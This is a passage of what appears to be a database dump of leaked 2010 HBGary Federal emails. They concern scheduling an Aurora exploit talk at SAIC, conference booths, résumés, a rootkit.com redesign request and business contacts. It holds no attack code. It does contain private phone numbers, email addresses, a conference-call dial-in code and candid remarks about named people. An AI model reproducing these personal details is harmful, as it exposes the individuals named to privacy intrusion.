it.&nbsp;\r\nOperation Aurora\r\nwhile maybe not a bell-weather event, certainly raised the consciousness of\r\ncybersecurity and the threats that do exist.&nbsp; But awareness is not always\r\na good thing, as many still have a very superficial and naive perspective on\r\nwhat the advanced persistent threat is, what it is not, and what needs to be\r\ndone to combat it.&nbsp; This discussion will discuss the attributes of the Aurora event and the state of cybersecurity\r\ntoday within the Federal government.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Mar 30, 2010, at 9:36 AM, Sheldon, Scott\r\n W. wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nAwesome! I\'ll lock it in.\r\n\r\nPlease send me an abstract and short bio so I can get the invitations\r\nout.\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 29, 2010 7:41 PM\r\nTo: Sheldon, Scott W.\r\nCc: bob@hbgary.com; Estell,\r\n Timothy W.\r\nSubject: Re: Aurora\r\nTalk at SAIC\r\n\r\nYep works for me.\r\n\r\nFrom my iPhone\r\n\r\nOn Mar 29, 2010, at 5:53 PM, \"Sheldon, Scott W.\"\r\n&lt;SCOTT.W.SHELDON@saic.com\r\n\r\nwrote:\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n27 April at 1600 works great.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nIf you agree, I\'ll need a short bio and a short presentation\r\n\r\n\r\n\r\nabstract to\r\n\r\n\r\n\r\npost with the invitation for attendees.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nScott\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\n\r\n\r\nSent: Monday, March 29, 2010 5:44 PM\r\n\r\n\r\n\r\nTo: Sheldon, Scott W.\r\n\r\n\r\n\r\nCc: bob@hbgary.com; Estell, Timothy W.\r\n\r\n\r\n\r\nSubject: Re: Aurora\r\nTalk at SAIC\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHow about the 27th does that work?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Mar 26, 2010, at 5:03 PM, Sheldon, Scott\r\n W. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI just spoke with our Conference\r\n Center coordinator and\r\nmeeting space\r\n\r\n\r\n\r\n\r\n\r\nis\r\n\r\n\r\n\r\n\r\n\r\nan issue at 1600 on 20 Apr.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can easily do 1600 on 27 Apr if that works for you.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can also handle 1630 on 20 Apr if 27 Apr doesn\'t work. They need\r\n\r\n\r\n\r\n\r\n\r\nthe\r\n\r\n\r\n\r\n\r\n\r\nextra 30 minutes to reconfigure the room from a previously scheduled\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmeeting.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlong with your bio, I\'ll also need a paragraph or two abstract of\r\n\r\n\r\n\r\n\r\n\r\nyour\r\n\r\n\r\n\r\n\r\n\r\npresentation to post as part of the announcement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nScott\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Estell, Timothy W.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent: Friday, March 26, 2010 4:56 PM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: aaron@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc: bob@hbgary.com; Sheldon, Scott W.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Aurora\r\nTalk at SAIC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooks like Dino or EndGames got cold feet. They say they have too\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmuch\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ngoing on to commit Dino to this event.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSo the stage is yours and you can keep us captivated with the HBGary\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nresearch into Aurora.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe\'ll plan on Tuesday, April 20th at 4 PM.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan you provide a one paragraph bio to include in the meeting\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nannouncement?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim Estell -- estellt@saic.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n443-367-7558 (Office) 443-562-2039 (Cell)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9663,'aaron_hbgary_com/9663.html'),(4966,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003179.M659029P3547Q4966.eml','\"Penny Leavy\" <penny@hbgary.com>','John Farrell\'s Resume','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16214,'aaron_hbgary_com/16214.html'),(4967,'2010-04-06','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297003179.M969321P3547Q4967.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Emailing: Security Technology Institute, CyberPoint International, and Vir2us Usher in New Wave of Tech Growth for Maryland.htm','\r\n\r\nSent from my iPad\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Chappell, Scott C Mr CIV USA SMDC ARSTRAT\" \r\n> Date: April 5, 2010 4:16:47 PM MDT\r\n> To: Vera Ted \r\n> Subject: Emailing: Security Technology Institute, CyberPoint International, and Vir2us Usher in New Wave of Tech Growth for Maryland.htm\r\n> \r\n\r\n>  Usher in New Wave of Tech Growth for Maryland.htm>> Check it out...\r\n> Friend of mine is working thru CyberPoint International.\r\n> \r\n> Think may need to hook you guys up.\r\n> \r\n> Scott\r\n> \r\n',9166,'aaron_hbgary_com/9166.html'),(4968,'2010-04-06','\"Timothy Ronan\" <tronan@palantirtech.com>','/aaron@hbgary.com/new/1297003180.M171971P3547Q4968.eml','aaron@hbgary.com','Message from Palantir Technologies - Shadows in the Cloud Principal Investigator Presenting at GovCon5','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nResearchers\r\nTrace Data Theft to Intruders in China\r\n\r\n&nbsp;\r\n\r\nTORONTO &#8212; Turning the tables on a China-based\r\ncomputer espionage gang, Canadian and United States computer security\r\nresearchers have monitored a spying operation for the past eight months,\r\nobserving while the intruders pilfered classified and restricted documents from\r\nthe highest levels of the Indian Defense Ministry.\r\n\r\n&nbsp;\r\n\r\nIn a report issued Monday night, the researchers,\r\nbased at the Munk School of Global Affairs at the University of Toronto,\r\nprovide a detailed account of how a spy operation it called the Shadow Network\r\nsystematically hacked into personal computers in government offices on several\r\ncontinents.\r\n\r\n&nbsp;\r\n\r\n--New\r\nYork Times, 6 April 2010\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNart Villeneuve, Chief\r\nSecurity Officer of the SecDev Group, and principal investigator behind Shadows\r\nin the Cloud will be presenting the first keynote address shortly after\r\n10am at the 5th Palantir Government Conference tomorrow\r\nmorning.&nbsp; We are honored to have GovCon5 serve as the first public forum\r\nin which Nart speaks at length about this groundbreaking cyber espionage\r\ninvestigation.&nbsp; We look forward to seeing you there tomorrow.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nTim Ronan\r\n\r\n&nbsp;\r\n\r\nGovCon5 Coordinator\r\n\r\nForward Deployed Engineer\r\n\r\nPalantir Technologies\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14100,'aaron_hbgary_com/14100.html'),(4969,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003180.M498259P3547Q4969.eml','\"Timothy Ronan\" <tronan@palantirtech.com>','Re: Message from Palantir Technologies - Shadows in the Cloud 	Principal Investigator Presenting at GovCon5','Looking forward to it.So we can set up our booths today?AaronFrom my iPhoneOn Apr 6, 2010, at 8:09 AM, Timothy Ronan &lt;tronan@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nResearchers\r\nTrace Data Theft to Intruders in China\r\n\r\n \r\n\r\nTORONTO — Turning the tables on a China-based\r\ncomputer espionage gang, Canadian and United States computer security\r\nresearchers have monitored a spying operation for the past eight months,\r\nobserving while the intruders pilfered classified and restricted documents from\r\nthe highest levels of the Indian Defense Ministry.\r\n\r\n \r\n\r\nIn a report issued Monday night, the researchers,\r\nbased at the Munk School of Global Affairs at the University of Toronto,\r\nprovide a detailed account of how a spy operation it called the Shadow Network\r\nsystematically hacked into personal computers in government offices on several\r\ncontinents.\r\n\r\n \r\n\r\n--New\r\nYork Times, 6 April 2010\r\n\r\n \r\n\r\n \r\n\r\nNart Villeneuve, Chief\r\nSecurity Officer of the SecDev Group, and principal investigator behind Shadows\r\nin the Cloud will be presenting the first keynote address shortly after\r\n10am at the 5th Palantir Government Conference tomorrow\r\nmorning.  We are honored to have GovCon5 serve as the first public forum\r\nin which Nart speaks at length about this groundbreaking cyber espionage\r\ninvestigation.  We look forward to seeing you there tomorrow.  \r\n\r\n \r\n\r\n \r\n\r\nSincerely,\r\n\r\n \r\n\r\nTim Ronan\r\n\r\n \r\n\r\nGovCon5 Coordinator\r\n\r\nForward Deployed Engineer\r\n\r\nPalantir Technologies\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2267,'aaron_hbgary_com/2267.html'),(4970,'2010-04-06','\"Timothy Ronan\" <tronan@palantirtech.com>','/aaron@hbgary.com/new/1297003180.M691246P3547Q4970.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Message from Palantir Technologies - Shadows in the Cloud 	Principal Investigator Presenting at GovCon5','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat, Yes booths are ready for setup.\r\n\r\n&nbsp;\r\n\r\nTim\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 06, 2010 8:14 AM\r\nTo: Timothy Ronan\r\nSubject: Re: Message from Palantir Technologies - Shadows in the Cloud\r\nPrincipal Investigator Presenting at GovCon5\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLooking forward to it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo we can set up our booths today?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 6, 2010, at 8:09 AM, Timothy Ronan &lt;tronan@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResearchers Trace Data\r\nTheft to Intruders in China\r\n\r\n&nbsp;\r\n\r\nTORONTO &#8212; Turning the tables\r\non a China-based\r\ncomputer espionage gang, Canadian and United States computer security researchers\r\nhave monitored a spying operation for the past eight months, observing while\r\nthe intruders pilfered classified and restricted documents from the highest\r\nlevels of the Indian Defense Ministry.\r\n\r\n&nbsp;\r\n\r\nIn a report issued Monday night, the researchers,\r\nbased at the Munk School of Global Affairs at the University of Toronto,\r\nprovide a detailed account of how a spy operation it called the Shadow Network\r\nsystematically hacked into personal computers in government offices on several\r\ncontinents.\r\n\r\n&nbsp;\r\n\r\n--New\r\nYork Times, 6 April 2010\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNart\r\nVilleneuve, Chief Security Officer of the SecDev Group, and principal\r\ninvestigator behind Shadows in the Cloud will be presenting the first\r\nkeynote address shortly after 10am at the 5th Palantir Government\r\nConference tomorrow morning.&nbsp; We are honored to have GovCon5 serve as the\r\nfirst public forum in which Nart speaks at length about this groundbreaking\r\ncyber espionage investigation.&nbsp; We look forward to seeing you there\r\ntomorrow.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nTim\r\nRonan\r\n\r\n&nbsp;\r\n\r\nGovCon5\r\nCoordinator\r\n\r\nForward\r\nDeployed Engineer\r\n\r\nPalantir\r\nTechnologies\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13186,'aaron_hbgary_com/13186.html'),(4971,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003181.M15269P3547Q4971.eml','\"John M Farrell\" <jmfarrell@yahoo.com>','Re: Aurora Exploit Talk at SAIC','Hey John,\r\n\r\nAny way I van meet you a little closer to Arlington/tysons?\r\n\r\nSounds like our booth takes some set up and it is being recommended\r\nthat I set it up today sometime.  Let me know.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 5, 2010, at 9:45 PM, John M Farrell  wrote:\r\n\r\n> here\'s my updated resume....see you tomorrow. Thanks!\r\n> John M Farrell\r\n> jmfarrell@yahoo.com\r\n> 703.622.9025 voicemail\r\n>\r\n>\r\n>\r\n> ----- Original Message ----\r\n> From: Aaron Barr \r\n> To: \"jmfarrell@yahoo.com\" \r\n> Sent: Mon, April 5, 2010 3:12:42 PM\r\n> Subject: Re: Aurora Exploit Talk at SAIC\r\n>\r\n> Definately small world.  So I leave Panera and get a call from the\r\n> president of HBGary proper asking if I know of anyone that would be\r\n> good as a sales person for DoD and sole Intel. :)\r\n>\r\n> See you tomorrow.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Apr 5, 2010, at 3:09 PM, \"jmfarrell@yahoo.com\"\r\n>  wrote:\r\n>\r\n>> Small world! Good seeing you at Panera today.\r\n>> Now that you know the situation, I look forward to talking with you\r\n>> tomorrow.\r\n>> See you at 1pm @ 23rd st starbucks in crystal city tomorrow.\r\n>> John\r\n>> ------Original Message------\r\n>> To: Aaron Barr\r\n>> Subject: Re: Aurora Exploit Talk at SAIC\r\n>> Sent: Apr 5, 2010 11:03 AM\r\n>>\r\n>> Ok, let\'s meet in Crystal City tomorrow @ 1pm. 23rd street Starbucks\r\n>> work for you?\r\n>>\r\n>> ------Original Message------\r\n>> From: Aaron Barr\r\n>> To: John M Farrell\r\n>> Subject: Re: Aurora Exploit Talk at SAIC\r\n>> Sent: Apr 5, 2010 10:56 AM\r\n>>\r\n>> Sounds good.  I will be at Palantir GovCon all day Wednesday and\r\n>> have some meeting mid day Thursday in DC.  I am pretty free the rest\r\n>> of the week.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Apr 5, 2010, at 10:52 AM, John Farrell wrote:\r\n>>\r\n>>> Aaron,\r\n>>> Good to see you on this agenda.\r\n>>>\r\n>>> Let me know your availability to reconnect this week. I will be in\r\n>>> Crystal City tomorrow and would be available to meet after lunch.\r\n>>>\r\n>>> I have some updates to share with you too. Thanks\r\n>>>\r\n>>> John\r\n>>> 7036229025\r\n>>> John M Farrell\r\n>>> VP Federal, Endgame Systems\r\n>>> 703.622.9025 M\r\n>>>\r\n>>> ----- Original Message -----\r\n>>> From: Estell, Timothy W. \r\n>>> To: Fodor, Ronald J. ; Blackburn, Jonathan\r\n>>> T. ; Murray, Katea S. >>> ; Horton, Andrew M. ; Dexter, Gordon M.\r\n>>>> >>> ; Bray, Erik M. ; Johnson, Eric S. >>> ; Chan, Cheng-Chia ; Ken Zatyko >>> ; Carl M. Powell ; Ray Gazaway; John Farrell\r\n>>> Sent: Mon Apr 05 07:55:21 2010\r\n>>> Subject: Aurora Exploit Talk at SAIC\r\n>>>\r\n>>> All,\r\n>>>\r\n>>> Scott Sheldon has posted invitations on Facebook and LinkedIn to our\r\n>>> next Tech Tuesday talk.\r\n>>>\r\n>>> Tuesday, April 27th at 1600 in SAIC\'s conference room at 6841\r\n>>> Benjamin\r\n>>> Franklin Drive.\r\n>>>\r\n>>> This should be a good talk with some insight beyond what we\'ve all\r\n>>> read\r\n>>> in the news. Google \"aurora exploit\"\r\n>>\r\n>> ------Original Message Truncated------\r\n>>\r\n>> Sent via BlackBerry by AT&T\r\n> \r\n',12905,'aaron_hbgary_com/12905.html'),(4972,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003181.M282834P3547Q4972.eml','\"Bob Slapnik\" <bob@hbgary.com>','Booths are ready','If you can help me out sometime today?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',1120,'aaron_hbgary_com/1120.html'),(4973,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003181.M466887P3547Q4973.eml','\"Greg Hoglund\" <greg@hbgary.com>','Template','Greg,\r\n\r\nCan you send me the word version of the document template you used to write the Aurora and REcon papers.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3917,'aaron_hbgary_com/3917.html'),(4974,'2010-04-06','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003181.M677680P3547Q4974.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Template','Aaron,\r\n \r\nYou will to have a copy of Adobe InDesign, latest version.  Also, we used our graphic designer for this template, John, so he may be able to make a custom look/feel for HBGary Federal.\r\n \r\nLet me know if you have Adobe and I can send you the .indd file.\r\n \r\nI have a full version with serial number here in Sacramento, but it&#39;s several gigabytes to install.\r\n \r\n-Greg\r\nOn Tue, Apr 6, 2010 at 5:54 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGreg,Can you send me the word version of the document template you used to write the Aurora and REcon papers.\r\nThanks,Aaron BarrCEOHBGary Federal Inc.\r\n',7005,'aaron_hbgary_com/7005.html'),(4975,'2010-04-06','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003181.M909698P3547Q4975.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Rootkit.com web design work',' \r\nAaron,\r\n \r\nHow much to have your new guy do some web programming for rootkit.com ?\r\n \r\nhere is what I am looking for:\r\n \r\n1) keep the same look / graphics, no graphic design required\r\n2) left hand menu,\r\n    remove the list of rootkits\r\n    add a [source code search] box\r\n3) convert rootkit project system to a more general purpose source-code repository\r\n   3a) each project includes downloadable zip of source code\r\n   3b) each project includes contributer and short description / article\r\n   3c) the source code of the project can be viewed online using a pretty-printed source code display (php)\r\n   3d) the forum that goes with each project is removed\r\n4) consolidate the forums into a single large forum, preserve historical posts\r\n5) update the project creation to allow source code to any tool to be uploaded, description / short article added\r\n \r\nI can better explain the concept of this on the fone or in person.\r\n \r\n--Greg\r\n',12702,'aaron_hbgary_com/12702.html'),(4976,'2010-04-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003182.M648695P3547Q4976.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Project B Invoice 0003','FYI --\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Tue, Apr 6, 2010 at 9:46 AM\r\nSubject: Project B Invoice 0003\r\nTo: Penny Leavy , Barbara Vermilyea\r\n\r\n\r\n\r\nProject B Invoice 003 attached.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11006,'aaron_hbgary_com/11006.html'),(4977,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003185.M485061P3547Q4977.eml','\"Ted Vera\" <ted@hbgary.com>','Resume','\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16462,'aaron_hbgary_com/16462.html'),(4978,'2010-04-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003185.M733143P3547Q4978.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: John Farrell\'s Resume','Wow he moves around a lot.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 7:49 PM\r\nTo: Penny Leavy\r\nSubject: John Farrell\'s Resume\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',1638,'aaron_hbgary_com/1638.html'),(4979,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003187.M710555P3547Q4979.eml','\"Penny Leavy\" <penny@hbgary.com>','EGS Pricelist','\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1508,'aaron_hbgary_com/1508.html'),(4980,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003187.M954547P3547Q4980.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: 4x24 Conference Call with Aaron Barr of HB Gary (Group 11)','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Jennifer Jordan-Harrell \r\n> Date: April 5, 2010 11:23:02 AM EDT\r\n> To: \"aaron@hbgary.com\" , JD Kathuria \r\n> Subject: 4x24 Conference Call with Aaron Barr of HB Gary (Group 11)\r\n> \r\n> When: Tuesday, April 13, 2010 11:30 AM-12:00 PM (GMT-05:00) Eastern Time (US & Canada).\r\n> Where: Dial In info - 800 760 3309: Code 74491765\r\n>  \r\n> Note: The GMT offset above does not reflect daylight saving time adjustments.\r\n>  \r\n> *~*~*~*~*~*~*~*~*~*\r\n>  \r\n> When: Tuesday, April 13, 2010 11:30 AM- 12:00 PM Eastern Time (US & Canada).\r\n> Where: 800 760 3309: Code 74491765\r\n>  \r\n> *~*~*~*~*~*~*~*~*~*\r\n>  \r\n> Aaron,\r\n> So glad we were able get you set up for the conference call.  You’ll be speaking with myself and our co-founder, JD Kathuria about our invite only, executive 4 x 24 Group focused on cyber.  Recruiting for the Cyber Group started on March 1st and we are very pleased with the rate at which it is ramping up. For your review, I’ve included the list of members already signed on. Aside from those members, we have a verbal commitment from ITT but are waiting for them to identify the person they want participating. \r\n>  \r\n> Current:\r\n> 1. Bill Phelps, Accenture\r\n> 2. Skip Foote, American Systems\r\n> 3. Jeff Berkin, CACI\r\n> 4. Vince Pratuch, Cisco Systems\r\n> 5. JR Reagan, Deloitte Services, LP\r\n> 6. Samuel Chun, HP\r\n> 7. Charles Palmer, IBM\r\n> 8. Dusty Wince, KnowledgeCG\r\n> 9. Bill Varner, ManTech Int’l. (Chairman)\r\n> 10. Scott Miller, Microsoft\r\n> 11. Gary Gagnon, MITRE\r\n> 12. Shawn Carroll, Qwest\r\n> 13. Larry Cox, SAIC\r\n> 14. Mike Fraser, USIS\r\n> 15. TBD, ITT\r\n>  \r\n> PLEASE NOTE:\r\n> *       The Conference Call dial-in number and participant code are listed above\r\n> *       If you need to make any changes or have any questions, please call me @ 703-226-7016 or send an email to jennifer@executivebiz.com\r\n> *       The morning of the call I’ll send out a Go To Meeting link for the visual aspect of our call.\r\n>  \r\n> Please check out our emagazine at www.executivebiz.com where you\'ll find out about all the latest happenings in the government contracting arena. \r\n>  \r\n>  \r\n>  \r\n> Sincerely,\r\n>  \r\n> Jennifer Jordan-Harrell\r\n> Group Manager\r\n>  \r\n> ExecutiveBiz\r\n> 703-226-7016\r\n> jennifer@executivebiz.com\r\n>  \r\n>  \r\n>  \r\n>  \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10923,'aaron_hbgary_com/10923.html'),(4981,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003188.M137662P3547Q4981.eml','\"Penny Leavy\" <penny@hbgary.com>','Email I just sent you','The email I just forwarded to you is a new Cyber Group formed by SecurityBiz that I have asked to be a member of, but before I become a member it requires an interview next week.  So hopefully I don\'t screw that up... :)\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3757,'aaron_hbgary_com/3757.html'),(4982,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003188.M373723P3547Q4982.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: Get together','Sounds good.\r\n\r\nAaron\r\n\r\nOn Apr 5, 2010, at 3:55 PM, Irby Thompson wrote:\r\n\r\n> Aaron,\r\n> \r\n> Friday afternoon would work. I have meetings in the morning.\r\n> How does 2PM at our place look? We can likely get Adam up on video.\r\n> \r\n> 	Regards,\r\n> 	Irby\r\n> \r\n> \r\n> \r\n> \r\n> On Apr 5, 2010, at 2:04 PM, Aaron Barr wrote:\r\n> \r\n>> Hey guys,\r\n>> \r\n>> Let me know when some good times are for you to get together and discuss things outside of DARPA.\r\n>> \r\n>> This week is pretty much shot for me except for Friday, next week right now is pretty open.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1494,'aaron_hbgary_com/1494.html'),(4983,'2010-04-06','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297003188.M696257P3547Q4983.eml','\"Aaron Barr\" <aaron@hbgary.com>','Ship to Address for Booth','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nCould you please ship the booth to the following address:\r\n\r\n&nbsp;\r\n\r\nPlease\r\nship the frame to the following address:\r\n\r\n&nbsp;\r\n\r\nAdvatum\r\nPrint House\r\n\r\nAttention:\r\nDan Stefl / PO# 5414-000\r\n\r\n1540\r\nFencorp\r\n\r\nFenton,\r\nMO 63026\r\n\r\n&nbsp;\r\n\r\nI will need a tracking number when it is shipped so they\r\nknow when to expect it.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7357,'aaron_hbgary_com/7357.html'),(4984,'2010-04-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003188.M889434P3547Q4984.eml','\"Aaron Barr\" 